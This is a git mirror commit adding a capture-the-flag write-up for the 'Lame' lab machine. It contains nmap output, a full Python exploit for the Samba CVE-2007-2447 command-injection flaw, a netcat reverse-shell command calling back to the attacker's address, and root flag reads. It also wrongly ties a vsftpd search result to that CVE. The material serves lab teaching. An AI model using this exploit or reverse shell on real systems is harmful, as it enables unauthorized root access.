mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-07-02 11:56:40 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
211
Easy/1.md
Normal file
211
Easy/1.md
Normal file
|
|
@ -0,0 +1,211 @@
|
|||
# Lame Writeup
|
||||
|
||||
|
||||
|
||||
## Introduction :
|
||||
|
||||
**Lame** is an easy Linux box which was released back in March 2017. It features a common vulnerability which could be exploited using a metasploit module.
|
||||
|
||||
## **Requirerements :**
|
||||
|
||||
* [Linux commands](../../CS/LTerm.html)
|
||||
* [Nmap](../../CS/nmap.html)
|
||||
* [Searchsploit](../../CS/searchsploit.html)
|
||||
* [Python](../../CS/python.html)
|
||||
* [Netcat](../../CS/netcat.html)
|
||||
|
||||
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
λ root [/home/nihilist] → nmap -sC -sV 10.10.10.3
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-11 10:55 EDT
|
||||
Nmap scan report for 10.10.10.3
|
||||
Host is up (0.27s latency).
|
||||
Not shown: 996 filtered ports
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp vsftpd 2.3.4
|
||||
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|
||||
| ftp-syst:
|
||||
| STAT:
|
||||
| FTP server status:
|
||||
| Connected to 10.10.14.6
|
||||
| Logged in as ftp
|
||||
| TYPE: ASCII
|
||||
| No session bandwidth limit
|
||||
| Session timeout in seconds is 300
|
||||
| Control connection is plain text
|
||||
| Data connections will be plain text
|
||||
| vsFTPd 2.3.4 - secure, fast, stable
|
||||
|_End of status
|
||||
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|
||||
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|
||||
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|
||||
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
|
||||
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: mean: 3h44m23s, deviation: 0s, median: 3h44m23s
|
||||
| smb-os-discovery:
|
||||
| OS: Unix (Samba 3.0.20-Debian)
|
||||
| NetBIOS computer name:
|
||||
| Workgroup: WORKGROUP\x00
|
||||
|_ System time: 2019-06-11T10:39:56-04:00
|
||||
|_smb2-time: Protocol negotiation failed (SMB2)
|
||||
Service detection performed.
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 98.43 seconds
|
||||
|
||||
|
||||
Here we can see that the ports 21, 22, 139 and 445 are opened The port 21 is running an outdated version of vsftpd (here: v2.3.4 current:v3.0.3), this is going to be our main focus for the next part.
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
We know that port 21 is running vsftpd 2.3.4, let's see if there are exploits we can use using the **searchsploit** command:
|
||||
|
||||
|
||||
λ nihilist [~] → searchsploit vsftpd 2.3.4
|
||||
------------------------------------------------------ ------------------------------
|
||||
Exploit Title | Path
|
||||
| (/usr/share/exploitdb/)
|
||||
------------------------------------------------------ ------------------------------
|
||||
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)| exploits/unix/remote/17491.rb
|
||||
------------------------------------------------------ ------------------------------
|
||||
Shellcodes: No Result
|
||||
|
||||
|
||||
We could use the metasploit module exploiting the present CVE-2007-2447 But we can also use the following [python script](https://github.com/Jack-Barradell/exploits/blob/master/CVE-2007-2447/cve-2007-2447.py) in order to exploit our target machine.
|
||||
|
||||
|
||||
# CVE-2007-2447 - RCE in Samba
|
||||
|
||||
import getopt
|
||||
import sys
|
||||
from smb import SMBConnection
|
||||
|
||||
|
||||
def usage():
|
||||
print('CVE-2007-2447 - RCE In Samba 2.0.20 < 3.0.25rc3')
|
||||
print()
|
||||
print('Flags:')
|
||||
print('{} - Target Host'.format('\t-t --target'.ljust(20,' ')))
|
||||
print('{} - Target Port'.format('\t-p --port'.ljust(20,' ')))
|
||||
print('{} - Command to execute'.format('\t-c --cmd'.ljust(20,' ')))
|
||||
print()
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
opts,args = getopt.getopt(sys.argv[1:],'t:p:c:',['target','port','cmd'])
|
||||
except getopt.GetoptError as e:
|
||||
print(str(e))
|
||||
usage()
|
||||
sys.exit(1)
|
||||
target = None
|
||||
port = None
|
||||
cmd = None
|
||||
for o,a in opts:
|
||||
if o in ('-t','--target'):
|
||||
target = a
|
||||
elif o in ('-p','--port'):
|
||||
try:
|
||||
port = int(a)
|
||||
except ValueError:
|
||||
print('[!] Invalid port provided, must be an int')
|
||||
usage()
|
||||
sys.exit(1)
|
||||
elif o in ('-c','--cmd'):
|
||||
cmd = a
|
||||
else:
|
||||
print('[!] Invalid option {} with value: {}'.format(o,a))
|
||||
usage()
|
||||
sys.exit(1)
|
||||
|
||||
missing_param = False
|
||||
|
||||
if target is None:
|
||||
print('[!] Must provide target')
|
||||
missing_param = True
|
||||
|
||||
if port is None:
|
||||
print('[!] Must provide port')
|
||||
missing_param = True
|
||||
|
||||
if cmd is None:
|
||||
print('[!] Must provide command')
|
||||
missing_param = True
|
||||
|
||||
if missing_param:
|
||||
usage()
|
||||
sys.exit(1)
|
||||
|
||||
print('[+] Generating exploit')
|
||||
exploit = '/=`nohup {}`'.format(cmd)
|
||||
|
||||
c = SMBConnection.SMBConnection(exploit, '', '', '')
|
||||
|
||||
try:
|
||||
c.connect(target, port, timeout=1)
|
||||
except:
|
||||
print('[+] Exploit sent')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
|
||||
With which we are now able to run using the following commands within 2 separate terminals :
|
||||
|
||||
_Terminal n°1 :_
|
||||
|
||||
|
||||
λ nihilist [~] → nc -lvnp 4444
|
||||
|
||||
|
||||
_Terminal n°2 :_
|
||||
|
||||
|
||||
λ nihilist [~] → python3 cve-2007-2447.py -t 10.10.10.3 -p 445 -c "nc -e /bin/bash 10.10.14.10 4444"
|
||||
[+] Generating exploit
|
||||
[+] Exploit sent
|
||||
|
||||
|
||||
Which gives us access to the machine. Through a reverse shell back to our local address **10.10.14.10** at the listening **4444** port. within our first Terminal.
|
||||
|
||||
_Terminal n°1 :_
|
||||
|
||||
|
||||
λ nihilist [~] → nc -lvnp 4444
|
||||
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 43358
|
||||
# id
|
||||
uid=0(root) gid=0(root)
|
||||
|
||||
|
||||
We now have not only user access, but also an Elevated-privilege Reverse Shell which is going to allow us to read both the user and root flags.
|
||||
|
||||
## **Part 3 : The Root Access**
|
||||
|
||||
All we need to do is print out both the user flag and root flag since we are now logged on as root.
|
||||
|
||||
|
||||
# id
|
||||
uid=0(root) gid=0(root)
|
||||
|
||||
#cat /home/makis/user.txt
|
||||
[REDACTED]
|
||||
|
||||
#cat /root/root.txt
|
||||
[REDACTED]
|
||||
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue